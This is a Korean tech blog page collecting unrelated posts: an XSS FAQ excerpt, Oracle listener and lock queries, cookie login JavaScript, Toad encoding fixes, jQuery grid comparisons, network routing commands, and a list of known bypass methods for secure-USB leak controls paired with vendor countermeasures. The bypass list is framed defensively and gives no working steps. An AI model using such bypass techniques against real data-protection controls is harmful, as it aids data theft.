    "암호화가 방어책이 될 수 있는가?" SSL(https)을 사용하는 웹사이트들도 완전히 안전한 것은 아니다. 일반 사용자들도 그들의 브라우저를 통제하고 있다고 해서 완벽한 완전이 보장된다고 생각해서는 안된다.
    "XSS 취약점은 명령을 실행할 수 있는가?" XSS 취약점은 자바스크립트 투입을 허용할 수 있다. 그것은 제한된 실행을 허용할 것이다. 만약 공격자가 브라우저의 취약점을 공략한다면 클랑언트 측에 대해 명령을 실행하는 것이 가능할 것이다. 만약 명령 실행이 가능하다면 단지 클라이언트 측에만 가능할 것이다. 간단히 말해 XSS 취약점은 브라우저에 존재하는 다른 취약점을 공격하는데 도움이 되도록 사용될 수 있다.
    "CSS/XSS 취약점을 수정하지 못할 경우 어떻게 해야 하는가?" XSS 취약점을 해결하지 못할 경우 이것은 사용자 계정을 장악하는 것을 허용할 수 있다. XSS 취약점은 여러 사이트에서 발견되고, 광범위하게 공개되고 있다. 이것은 그 사이트의 보안이 제대로 되어 있지 않다라는 불명예를 안겨줄 수 줄 수 있다. 만약 특정 사이트의 고객들이 그 사이트를 신뢰하지 못한다면 그 사이트와의 거래는 하지 않을 것이다.
    [참고문헌] http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm http://www.perl.com/pub/a/2002/02/20/css.html http://www.cert.org/advisories/CA-2000-02.html http://www.cert.org/tech_tips/cgi_metacharacters.html http://eyeonsecurity.net/papers/passporthijack.html http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies http://www.cgisecurity.com/articles/xss-faq.txt
    Posted by 1010
    02.Oracle/DataBase2009. 10. 20. 19:59
    반응형

    오라클9i에서 local 접속하던중 ora-12451 에러가 발생했다.

    1.cmd -> services.msc
    2. OracleOraHome92TNSListener (oracle 9i) 가 시작됐는지 확인.
    혹은
    3. listener.ora 에서 HOST가 제대로 되어 있는 확인한다

    - listener.ora

      1. 오라클 서버에서 클라이어튼의 요청을 듣고, 클라이언트와의 통신 환경을 설정하는 파일

      2. 오라클 서버에 존재


    $ORACLE_HOME/network/admin/listener.ora

    -------------------------------------------------------------------

    LISTENER =
      (DESCRIPTION_LIST =
        (DESCRIPTION =
          (ADDRESS_LIST =
            (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
          )
          (ADDRESS_LIST =
            (ADDRESS = (PROTOCOL = TCP)(HOST = xxx)(PORT = 1521))
          )
        )
      )

    SID_LIST_LISTENER =
      (SID_LIST =
        (SID_DESC =
          (SID_NAME = PLSExtProc)
          (ORACLE_HOME = C:\oracle\ora92)
          (PROGRAM = extproc)
        )
        (SID_DESC =
          (GLOBAL_DBNAME = local)
          (ORACLE_HOME = C:\oracle\ora92)
          (SID_NAME = local)
        )
      )

    ***리스너 관련 명령어***

    c:\>lsnrctl start  리스너 시작하기

    c:\>lsnrctl stop  리스너 정지하기

    c:\>lsnrctl reload  리스너 재시작하기

    c:\>lsnrctl status  리스너 상태보기

    c:\>lsnrctl help  도움말



    - tnsnames.ora

      1. 오라클 클라이언트 측에서 오라클 서버로 접속시 필요한 프로토콜, 포트번호, 서버주소  등을 설정해주는 파일

      2. 클라이언트에 위치

      3. 예제

          JJS =
              (DESCRIPTION =
                       (ADDRESS_LIST =
                              (ADDRESS = (PROTOCOL = TCP)(HOST = ip주소 )(PORT = 1521))
                        )
                       (CONNECT_DATA =
                              (SERVER = 서버 명)
                              (SERVICE_NAME = db명)
                        )
               )


    p.s) listener.ora와 tnsnames.ora파일의 위치는 ORACLE_HOME/network/ADMIN/에 존재

    출처 : http://ragew.tistory.com/category/DB노트

    Posted by 1010
    02.Oracle/DataBase2009. 10. 20. 19:58
    반응형
    select      b.username username,
                  c.sid sid,
                  c.owner object_owner,
                  c.object object,
                  b.lockwait,
                  a.sql_text SQL
    from        v$sqltext a, v$session b, v$access c
    where     a.address=b.sql_address
    and        a.hash_value=b.sql_hash_value
    and        b.lockwait = 'WAIT'
    and        b.sid = c.sid
    and        c.owner != 'SYS'


    출처 : http://ragew.tistory.com/3
    Posted by 1010
    02.Oracle/DataBase2009. 10. 20. 19:57
    반응형

    ### Lock 확인 쿼리
    SELECT do.object_name, do.owner, do.object_type,do.owner, vo.xidusn, vo.session_id,
    vo.locked_mode
    FROM v$locked_object vo , dba_objects do
    WHERE vo.object_id = do.object_id ;

    ####  어떤 object에 어떤 lock이 걸렸는지 확인
    SELECT  T1.object_name, DECODE(locked_mode, 2, 'ROW SHARE', 3, 'ROW EXCLUSIVE',  4, 'SHARE', 5, 'SHARE ROW EXCLUSIVE', 6, 'EXCLUSIVE', 'UNKNOWN') lock_mode
    FROM  dba_objects T1, v$locked_object T2
    WHERE T1.object_id = T2.object_id;

    #### session 확인
    select * from v$session where status = 'ACTIVE'

    #### cursor 확인
    v$open_cursor

    #### 테이블의 lock 확인
    SELECT A.SID, A.SERIAL#, B.TYPE, C.OBJECT_NAME
    FROM V$SESSION A, V$LOCK B, DBA_OBJECTS C
    WHERE A.SID=B.SID
    AND B.ID1=C.OBJECT_ID
    AND B.TYPE='TM'
    AND C.OBJECT_NAME IN ('<테이블이름>');

    /*******************************************************************************
    * LOCK 관련
    *******************************************************************************/
    --V$LOCK 을 사용한 잠금 경합 모니터링
    SELECT s.username, s.sid, s.serial#, s.logon_time,
      DECODE(l.type, 'TM', 'TABLE LOCK',
             'TX', 'ROW LOCK',
          NULL) "LOCK LEVEL",
      o.owner, o.object_name, o.object_type
    FROM v$session s, v$lock l, dba_objects o
    WHERE s.sid = l.sid
    AND o.object_id = l.id1
    AND s.username IS NOT NULL   

    --락이 걸린 세션 자세히 알아보기
    select a.sid, a.serial#,a.username,a.process,b.object_name,
    decode(c.lmode,2,'RS',3,'RX',4,'S',5,'SRX',8,'X','NO') "TABLE LOCK",
    decode (a.command,2,'INSERT',3,'SELECT',6,'UPDATE',7,'DELETE',12,'DROP TABLE',26,'LOCK TABLE','UNknown') "SQL",
    decode(a.lockwait, NULL,'NO wait','Wait') "STATUS"
    from v$session a,dba_objects b, v$lock c
    where a.sid=c.sid and b.object_id=c.id1
    and c.type='TM'

    --락이 걸린 세션 간단히 알아보기
    select a.sid, a.serial#, b.type, c.object_name, a.program, a.lockwait,
          a.logon_time, a.process, a.osuser, a.terminal
    from v$session a, v$lock b, dba_objects c
    where a.sid = b.sid
      and b.id1 = c.object_id
      and b.type = 'TM';

    select a.sid, a.serial#, a.username, a.process, b.object_name
    from v$session a , dba_objects b, v$lock c
    where a.sid=c.sid and b.object_id = c.id1
    and c.type = 'TM'

    --락이 걸린 세션을 찾아 내어 세션을 죽이려고 해도 죽지 않는 경우
    --아래 쿼리문으로 OS단의 PROCESS ID를 찾아내어 OS에서 죽인다
    --kill -9 프로세스아이디
    select substr(s.username,1,11) "ORACLE USER", p.pid "PROCESS ID",
    s.sid "SESSION ID", s.serial#, osuser "OS USER",
    p.spid "PROC SPID",s.process "SESS SPID", s.lockwait "LOCK WAIT"
    from v$process p, v$session s, v$access a
    where a.sid=s.sid and
    p.addr=s.paddr and
    s.username != 'SYS'

    --위 쿼리문의 결과가 있다면 락이 걸린 세션이 있다는것이므로 아래의 쿼리문으로 세션을 죽인다
    ALTER SYSTEM KILL SESSION '11,39061'

    출처 : http://cocoroworld.com/blog/root/entry/오라클-락lock


    출처 : http://cocoroworld.com/blog/root/entry/오라클-락lock

    Posted by 1010
    반응형

    <html>
    <head>
    <script language="javascript">
    function setCookie (name, value, expires) {
      document.cookie = name + "=" + escape (value) +
        "; path=/; expires=" + expires.toGMTString();
    }

    function getCookie(Name) {
      var search = Name + "="
      if (document.cookie.length > 0) { // 쿠키가 설정되어 있다면
        offset = document.cookie.indexOf(search)
        if (offset != -1) { // 쿠키가 존재하면
          offset += search.length
          // set index of beginning of value
          end = document.cookie.indexOf(";", offset)
          // 쿠키 값의 마지막 위치 인덱스 번호 설정
          if (end == -1)
            end = document.cookie.length
          return unescape(document.cookie.substring(offset, end))
        }
      }
      return "";
    }
    function saveid(form) {
      var expdate = new Date();
      // 기본적으로 30일동안 기억하게 함. 일수를 조절하려면 * 30에서 숫자를 조절하면 됨
      if (form.checksaveid.checked)
        expdate.setTime(expdate.getTime() + 1000 * 3600 * 24 * 30); // 30일
      else
        expdate.setTime(expdate.getTime() - 1); // 쿠키 삭제조건
      setCookie("saveid", form.id.value, expdate);
    }
    function getid(form) {
      form.checksaveid.checked = ((form.id.value = getCookie("saveid")) != "");
    }
    </script>
    </head>
    <body onLoad="getid(document.mainform)">
    <form name=mainform>
    아이디 <input type=text name=id>
    암호 <input type=password name=pw>
    <input type=checkbox name=checksaveid onClick="saveid(this.form)">아이디 기억
    </form>
    </body>
    </html>

    Posted by 1010
    반응형

    아이디 저장 자바스크립트


    //----------------------------------------------//
    // 홈페이지 로그인 관련 스크립트
    //
    // 만든넘 : 심재진
    //
    //----------------------------------------------//

    //----------------------------------------------//
    // 로그인 버튼 클릭했을때 호출되는 함수
    //----------------------------------------------//
    function login(){
        document.myform.id.value = document.myform.id.value.split(" ").join("");
        document.myform.password.value = document.myform.password.value.split(" ").join("");
        var id = document.myform.id.value;
        var password = document.myform.password.value;

        var msg = "";
        if(id.length == 0){
            msg +="☞ 사용자 아이디를 입력하세요.\n";
        }
        if(password.length == 0 && msg.length == 0){
            msg +="☞ 사용자 비밀번호를 입력하세요.";
        }
        // 아이디 저장 설정
        if(document.myform.save.checked){
            setCookie("com.ckaist.id", id, null, null);
        }else{
            setCookie("com.ckaist.id", "", null, null);
        }
        if(msg.length > 0){
            alert(msg);
        }else{
            document.myform.target = document.hiddenFrame.name;
            document.myform.submit();
        }
        if(login.arguments.length == 1){
            self.close();
        }
    }

    //----------------------------------------------//
    // 아이디 저장 옵션 관리 함수
    //----------------------------------------------//
    function load(){
        var id = getCookie("com.ckaist.id");
        if(id != null && id != ""){
            document.myform.id.value = id;
            document.myform.save.checked = true;
            document.myform.password.focus();
        }else{
            document.myform.id.focus();
        }
        // 좌측 메뉴 클릭 정보 삭제
        setCookie("mencode", "0", "/");
        setCookie("topcode", "0", "/");
        setCookie("refcode", "0", "/");
    }

    //----------------------------------------------//
    // 로그아웃 버튼 눌렀을때 호출
    //----------------------------------------------//
    function logout(){
        document.myform.target = document.hiddenFrame.name;
        document.myform.submit();
    }

    //----------------------------------------------//
    // 패스워드 필드에 타이핑할때 검사
    //----------------------------------------------//
    function formsubmit(){
        if(event.keyCode == 13)
            login();
    }

    //----------------------------------------------//
    // 쿠키 핸들링 관련 함수들
    //----------------------------------------------//
    function setCookie (name,value,path,domain,secure) {
       var expires = new Date();
       expires.setMonth(expires.getMonth() + 1)

      document.cookie = name + "=" + escape (value) +
        ((expires) ? "; expires=" + expires.toGMTString() : "") +
        ((path) ? "; path=" + path : "") +
        ((domain) ? "; domain=" + domain : "") +
        ((secure) ? "; secure" : "");
    }

    function getCookie (name) {
     var arg = name + "=";
     var alen = arg.length;
     var clen = document.cookie.length;
     var i = 0;
     while (i < clen) {
         var j = i + alen;
         if (document.cookie.substring(i, j) == arg)
           return getCookieVal (j);
         i = document.cookie.indexOf(" ", i) + 1;
         if (i == 0) break;
     }
     return null;
    }

    function getCookieVal (offset) {
      var endstr = document.cookie.indexOf (";", offset);
      if (endstr == -1)
        endstr = document.cookie.length;
      return unescape(document.cookie.substring(offset, endstr));
    }

    /*
     * 우편번호 검색창을 띄우는 함수
     * 인자값 : 우편번호 앞자리 INPUT BOX 이름, 우편번호 뒷자리 INPUT BOX 이름, 주소 INPUT BOX 이름
     */
    function findPost(form_name_post1, form_name_post2, form_name_addr){
        var win;
        if(win == null){
            win = window.open("/comm/com_zip/comzip_find.jsp?post1="+form_name_post1+"&post2="+form_name_post2+"&addr="+form_name_addr, "zip_search", "resizable=yes,width=500,height=300,location=no,scrollbars=yes, menubar=no");
        }
        win.focus();
    }

    /*
     * create by 박범서 , create date : 2001-09-11
     * id/pw 조회
     */
    function findIdpw(){
        var win;
        if(win == null){
            win = window.open("/main/idpw.jsp", "idpw_search", "resizable=yes,width=362,height=250,location=no,scrollbars=no, menubar=no");
        }
        win.focus();
    }


    //----------------------------------------------//
    // 이미지 온-오버 관련 스크립트 들
    //----------------------------------------------//
    function namosw_exchange_src()
    {
      str = namosw_exchange_src.arguments[0];
      str = (navigator.appName == 'Netscape') ? 'document.' + str : 'document.all.' + str;
      img = eval(str);
      if (img) {
        if (img.ori_src == null) {
          img.ori_src = img.src;
          img.src     = namosw_exchange_src.arguments[1];
        } else {
          var temp    = img.src;
          img.src     = img.ori_src;
          img.ori_src = temp;
        }
      }
    }

    function namosw_preload_img()
    {
      var img_list = namosw_preload_img.arguments;
      if (document.preloadlist == null)
        document.preloadlist = new Array();
      var top = document.preloadlist.length;
      for (var i=0; i < img_list.length; i++) {
        document.preloadlist[top+i]     = new Image;
        document.preloadlist[top+i].src = img_list[i];
      }
    }

    function msg_open_win()
    {
     window.open('/common/com_msg/commsg_main.jsp',"memo",'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=auto,resizable=no,width=420,height=380');
    }


    //----------------------------------------------//
    // ID/PWD 찾기 호출되는 함수
    //----------------------------------------------//
    function find_idpassword(){
        //document.myform.usrname.value = document.myform.usrname.value.split(" ").join("");
        document.myform.jumin.value = document.myform.jumin.value.split(" ").join("");
        var usrname = document.myform.usrname.value;
        var jumin = document.myform.jumin.value;

        var msg = "";
        if(usrname.length == 0){
            msg +="☞ 사용자 이름을 입력하세요.\n";
        }
        if(jumin.length != 14 && msg.length == 0){
            msg +="☞ 사용자 주민등록번호를 입력하세요.";
        }
        if(msg.length > 0){
            alert(msg);
        } else {
            //document.myform.target = document.hiddenFrame.name;
            document.myform.submit();
        }
    }

    //----------------------------------------------//
    // ID/PWD 찾기  주민번호 필드에 타이핑할때 검사
    //----------------------------------------------//
    function entercheck(){
        if(event.keyCode == 13)
            find_idpassword();
    }

    출처 : http://hob.springnote.com/pages/234918?print=1

    Posted by 1010
    02.Oracle/DataBase2009. 10. 19. 16:02
    반응형

    *** 토드에서 save as를 통한 엑셀 저장시 한글깨짐 현상발생시 아래와 같은방법을 사용한다. ***

     


    <토드 9.0.x>

    방법 1. save as에서 Write Wide Strings 옵션에 체크한다.

    방법 2. 토드 종료 후 C:\program Files\Quest Software\Toad for Oracle\User Files 폴더에 있는

             toad.ini파일 [SAVEAS]아래에 있는 cbXLSWideStrings=0 을 1로 수정하고 토드 재시작

     

    사용자 삽입 이미지


    <토드 8.6>

    방법 1. 토드 종료 후 C:\program Files\Quest Software\Toad for Oracle\User Files 폴더에 있는

             toad.ini파일 [SAVEAS]아래에 있는 cbXLSWideStrings=1을 추가하고 재시작 한다.

    Posted by 1010
    02.Oracle/DataBase2009. 10. 19. 15:46
    반응형

    토드(toad)에서 한글이 깨져보일때


    어떤 이는 레지스트리에서 변경을 하라고 하고.... 어떤 이는 환경변수에서 추가를 하라고 하고....
    그래서 둘다 해보았더니.....

    결국 환경변수의 추가로 해결이 되었다...

    내 컴퓨터 - 속성 - 고급탭 - 환경변수 버튼 클릭

    시스템 변수 란 - 새롤만들기 버튼 클릭

    변수 : NLS_LANG
    변수값 : KOREAN_KOREA.KO16MSWIN949

    으로 설정을 하면 된다..

    만약 안되면 레지스트리 변경을 시도해보면 될 듯 함.
    regedit > HKEY_LOCAL_MACHINE > SOFTARE > ORACLE
    문자열 : NLS_LANG
    값 데이터 : KOREAN_KOREA.KO16KSC5601 혹은 KOREAN_KOREA.KO16MSWIN949
    Posted by 1010
    반응형
    Posted by 1010
    반응형

    Ext JS와 비교를 위해, jQuery로 비슷한 걸 만들어 본다. 필요한 건 대략 아래와 같다.

    1. layout
    2. tab
    3. grid
    4. window + form

    하나씩, 찾아보자.


    1. layout


    http://layout.jquery-dev.net/

    - Ext JS의 layout, viewport와 유사한 기능

    - north, west, center, east, south 영역

    - 뭐, 그럭저럭, 쓸 만 하다.





    2. 탭 (tab)


    http://jqueryui.com/demos/tabs/ 


    - 테마(Theme) 설정에 따라, 컬러와 모양이 확 달라진다.

    - 위의 것은 기본 테마인, Theme: UI lightness

    - 아래 것은, Theme: Smoothness




    http://flowplayer.org/tools/tabs.html

    - 찾아보니, 좀 다른 것도 있다. 좀더 화려한 느낌이다.



    3. grid


    3.1. jqGrid


    http://www.trirand.com/blog/


     


    - Ext JS와 비교해서, 다소 불편.

    - pager : 서버에 전달하는 파라미터, 영 신통치 않음. page, rows, sidx, sord. 서버에서 start, limit를 다시 계산해야 하는 번거로움.

    - json 데이터를 뽑는 형식, 디폴트 형식이 아주 불편. colModel에 있는 것만 뽑을 수 있고, 순서도 지켜줘야 함.

    - 좀더 자유롭게 뽑으려면, repeatitems: false 옵션으로  jsonReader를 재설정해줘야 함.

    http://www.trirand.com/jqgridwiki/doku.php?id=wiki:retrieving_data

    - 기본 출력형식도 영 꾸짐. jQuery의 특성, 기본은 꾸지고, 보기 좋게 하려면, css 손질을 해줘야 함. 그 대신, css 손질은 쉬운 편.

    http://techbug.tistory.com/158

    - Ext JS의 renderer와 유사한 기능을 하는 formatter 있슴. custom formatter 제작 가능. 컬럼의 출력형식 조정 가능.

    function myformatter ( cellvalue, options, rowObject )
    {
        // format the cellvalue to new format
        return new_formated_cellvalue;
    }


    - tab 에 grid를 붙이니까, 모양이 영 엉성하다. Ext JS에서는 tab의 title 부분이 싹 사라지고, grid의 title이 그 자리에 쏙 들어찼는데, 여기선, 영, 자기 자리들을 모두 굳건히 지키느라, 뭔가 착 달라붙어서 빈틈을 메워주는 느낌이 없다.


    jqGrid + tab 조합



    Ext JS, grid + tab 조합





    3.2. flexigrid


    http://www.flexigrid.info/ 좀더, 화려하고 정제된 기능. 얼핏 보면, Ext JS 닮았다. 툴바 기능. 검색기능.





    - 좀 더 뜯어보니, 약점이 많다.

    - json 포맷이 한 가지 밖에 없슴. jsonReader 재설정 기능 없슴. 무조건 데이터를 맞춰서 colModel에 뽑아야 함.

    - colModel에 hide: true 속성이 있긴 하지만, 잠깐 숨기는 정도의 기능

    - formatter 기능 설정이 안보임. 없나?

    - 최종 변경일이 Jul 2008. 그 이후엔 업그레이드를 안하고 있는 듯.


    3.3. 기타 grid


    http://php-team.blogspot.com/2009/05/10-jquery-datagrid-plugins.html Grid Plugin 비교 설명

    - 아무리 봐도, Ext JS의 Grid 만한 녀석은 없다.

    - jQuery의 장점인 style, structure, behavior 분리가 오히려 어떤 점에서는 약점이 되기도 하는 느낌. 잘 만들어진 컴포넌트 느낌이 나질 않는다.



    4. window + form


    이 부분은, 나중에, 간단하게, 링크만 남겨둔다.





    5. 참고자료


    Posted by 1010
    98..Etc/Etc...2009. 10. 16. 10:10
    반응형
    보안USB에서 그동안 발견된 주요 취약점 정리

    1. 실행 프로세스 강제 종료 우회 방법
    B사 : 에이전트 보호 기능으로 프로세스 정지 또는 서비스 삭제 방지 기능, 안전모드에서의 매체 제어 정상동작 기능, 윈도우 복구를 통한 에이전트 제거 방지 기능, 안전모드에서의 서비스 삭제 방지 기능을 지원한다.
    C사 : 자체 보호기능, 프로세스 Kill 방지, 복원 기능으로 프로세스 강제 종료를 통한 자료 유출을 원천 방지한다. 자체 보호기능은 레지스트리 조작, 프로그램 조작 방지 기능으로 사용자의 임의 조작을 차단하며, 프로세스 Kill 방지 기능은 중요 프로세스 숨김, Kill 방지로 강제 종료를 할 수 없다. 만일의 경우 프로세스가 종료되어도 자동 재실행이 된다.

    2. 시작프로그램 삭제 우회 방법
    서비스 강제 종료 금지 기능 지원

    3. 안전모드 부팅 우회 방법
    폴더 삭제 또는 변경 금지 기능 지원

    4. PC부팅 시간차 우회 방법
    드라이브 레벨에서 제어하는 솔루션이기 때문에 PC부팅 시간과 관계없이 매체 차단 구현

    5. 안전모드 폴더 삭제 우회 방법
    B사 : 안전모드로 부팅후 일반USB로 저장하려 해도 기본적인 차단으로 매체를 제어한다.
    C사 : 안전모드로 부팅해도 자체 보호 모듈을 포함하여 모든 기능이 정상 동작하므로 프로그램 폴더 삭제 등을 통해 무력화 시킬 수 없다.

    6. 공유폴더 접근 우회 방법
    공유를 하더라도 인증없는 상태에서는 암호화 상태이기 때문에 자료 유출을 할 수 없다.

    7. 도스 창 우회 방법
    도스 명령을 통한 접근 시에도 인증없이는 내용을 볼 수 없다.

    8. 특정 소프트웨어(예: 파이널데이타SW)를 통한 불법접근 우회접근 방법
    애플리케이션 실행 제어 기능으로 사전에 등록해 우회접근을 원천 차단한다.

    9. 패스워드 스니핑 공격 무력화 우회 방법
    고려대에서 암호화 검증을 받은 K라이브러리를 통한 완벽 보안을 하고 있다.

    10. VM웨어 우회 방법
    B사 : 현재까지 납품된 사이트는 VM웨어를 사용하지 않고 있어 이로 인한 문제가 발생한 적이 없으며, 보안 적합성을 받은 모든 제품의 문제로 향후 판매를 대비해 보완 중이다.
    C사 : VM웨어에서 일반 USB를 통한 자료 유출이 가능한 취약점이 발견된 건 사실이나 추가로 보완 모듈을 개발 완료하여 테스트를 진행 중이며, 현재 고객사에 적용 예정이다.

    이밖에도 공인인증서를 저장하는 경우 보안USB 승인을 받지 않아도 되는 점을 악용한 공인인증서 파일확장자로 변경하여 시도되는 자료 유출과 관련 일반USB에 대해서는 파일확장자 예외없이 쓰기(write)를 커널 드라이버 레벨에서 근본적으로 차단하므로 파일 확장자를 변경해 저장하는 게 불가능하다.

    Posted by 1010
    98..Etc/Etc...2009. 10. 16. 09:28
    반응형
    windows

    http://blog.naver.com/congnamu?Redirect=Log&logNo=20051133977



    회사에서 회선을 외부망과 내부망으로 나누어 2개의 망으로 사용하고 있었다. 매번 랜선을 뺐다 끼웠다 하는 불편함 때문에 랜카드를 하나 더 끼워서 각각 외부망 내부망을 연결한 상태이다.

    외부망: 192.168.2.0  게이트웨이 192.168.2.1
    내부망 :192.168.1.0  게이트웨이 192.168.1.1

    외부와 내부망에 맞게 IP세팅을 하고 만일 DHCP서버가 있는 곳이면 자동으로 IP가 할당이 되어 있을 것이다. 이제 내부망으로 통신하는 트래픽. 즉, 192.168.1.0 대역으로 나가는 모든 패킷들에 대해서 게이트웨이 192.168.1.1로 가게 만들고 그 이외의 트래픽은 게이트웨이 192.168.2.1로 보내버리면 끝이난다.

    사용자 삽입 이미지
     

    이 그림은 가상의 네트워크를 맵핑한 것입니다. 네트워크에 맞게 수정해서 설정하세요

    라우팅 테이블에 네트워크 라우팅으로 192.168.1.0은 게이트웨이 192.168.1.1로 집어 넣어 버리고
    192.168.1.0을 제외한 나머지 모든 패킷(0.0.0.0)은 게이트웨이 192.168.2.1로 보내게 세팅을 하자.

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\Documents and Settings\onurmark>route add -p 192.168.1.0 MASK 255.255.255.0 192.168.1.1
    C:\Documents and Settings\onurmark>route add -p 0.0.0.0 MASK 0.0.0.0 192.168.2.1

    라우팅 테이블은 갱신되는 데이터이므로 컴퓨터를 재시작하면 라우팅이 날아가 버린다. 이를 방지하기 위해 -p 옵션(Persistent Route)을 줘서 항상 유지하도록 한다.



    출처 : http://www.onurmark.co.kr/102

    -----------------
    linux

    랜카드 두개 연결시 Routing되게 하려면


    eth0 192.16.10.1 GW 192.16.10.254

    eth1 192.16.5.1


    1. /proc/sys/net/ipv4/ip_forward에 1을 저장한다.

        #>echo "1" > /proc/sys/net/ipv4/ip_forward

    ------------------------------------------------------------

    IP 라우팅 테이블 이해

    IP 라우팅 테이블 이해

    라우팅 문제를 해결하려면 라우팅 테이블을 이해해야 합니다. TCP/IP를 실행하는 모든 컴퓨터는 IP 라우팅 테이블에 따라 라우팅 경로를 정합니다.

    IP 라우팅 테이블 표시에 대한 자세한 내용은 라우팅 테이블 보기를 참조하십시오.

    다음 그림은 라우팅 테이블의 예를 나타낸 것입니다.

    IP 라우팅 테이블

    IP 라우팅 테이블에는 다음 열의 정보가 포함됩니다.

    • 대상
      대상은 대상 호스트, 서브넷 주소, 네트워크 주소, 기본 경로입니다. 기본 경로의 대상은 0.0.0.0입니다.
    • 네트워크 마스크
      네트워크 마스크는 대상과 함께 사용할 경로를 결정하는 데 사용됩니다. 예를 들어 호스트 경로의 마스크는 255.255.255.255이고 기본 경로의 마스크는 0.0.0.0이며, 서브넷과 네트워크 경로의 마스크는 이 둘 사이의 값을 가집니다.
      마스크가 255.255.255.255이면 정확히 일치하는 대상만 이 경로를 사용합니다. 마스크가 0.0.0.0이면 어느 대상이나 이 경로를 사용할 수 있습니다. 마스크가 2진수로 기록된 경우 1은 유효값으로 일치해야 하며 0은 유효하지 않은 값이라 일치하지 않아도 됩니다.
      예를 들어 목적지가 172.16.8.0이며 네트워크 마스크가 255.255.248.0이라고 가정합니다. 이 네트워크 마스크에서 첫째 두 옥텟은 정확히 일치해야 하며, 셋째 옥텟의 앞쪽 다섯 개 비트는 일치해야 하고(248=11111000) 마지막 옥텟은 문제가 되지 않습니다. 172.16.8.0의 셋째 옥텟, 즉 8은 2진수로 00001000입니다. 굵게 표시된 마스크 오프 부분인 앞쪽 5개 비트를 변경하지 않기 때문에 15 또는 2진수 00001111로 이동할 수 있습니다. 대상이 172.16.8.0이고 마스크가 255.255.248.0인 경로는 172.16.15.255를 통해 172.16.8.0으로 가는 모든 패킷에 적용됩니다.
    • 게이트웨이
      게이트웨이는 패킷이 전송되어야 하는 다음 라우터의 IP 주소입니다. 이더넷이나 토큰 링같은 LAN 연결에서 이 라우터가 Interface 열에 표시된 인터페이스를 사용하여 게이트웨이에 직접 도달할 수 있어야 합니다. LAN 연결에서 게이트웨이와 인터페이스는 라우터가 트래픽을 전달하는 방법을 결정합니다. 필요 시 전화 접속 인터페이스의 경우 게이트웨이 주소는 구성할 수 없습니다. 지점 간 연결에서 인터페이스는 라우터가 트래픽을 전달하는 방법을 결정합니다.
    • 인터페이스
      인터페이스는 다음 라우터에 도달하기 위하여 사용되는 LAN 또는 필요 시 전화 접속 인터페이스를 나타냅니다.
    • 메트릭
      메트릭은 대상에 도달하기 위하여 사용되는 경로의 상대적 비용을 나타냅니다. 일반적인 메트릭은 홉이며 대상에 도달하기 위하여 지나는 라우터의 수입니다. 같은 대상에 대한 경로가 여러 개이면 메트릭이 가장 낮은 경로가 가장 좋은 경로입니다
    • 프로토콜
      프로토콜은 경로를 알게 된 방법을 보여 줍니다. 프로토콜 열에 RIP나 OSPF 또는 로컬이 아닌 다른 것이 표시되어 있으면 라우터가 경로를 받고 있는 것입니다. OSPF(Open Shortest Path First)는 WindowsXP 64비트 Edition(Itanium) 및 64비트 버전의 Windows Server 2003 제품군에서 사용할 수 없습니다.

    2. /proc/sys/net/ipv4/conf/default/rp_filter에 1을 저장한다. 

    Posted by 1010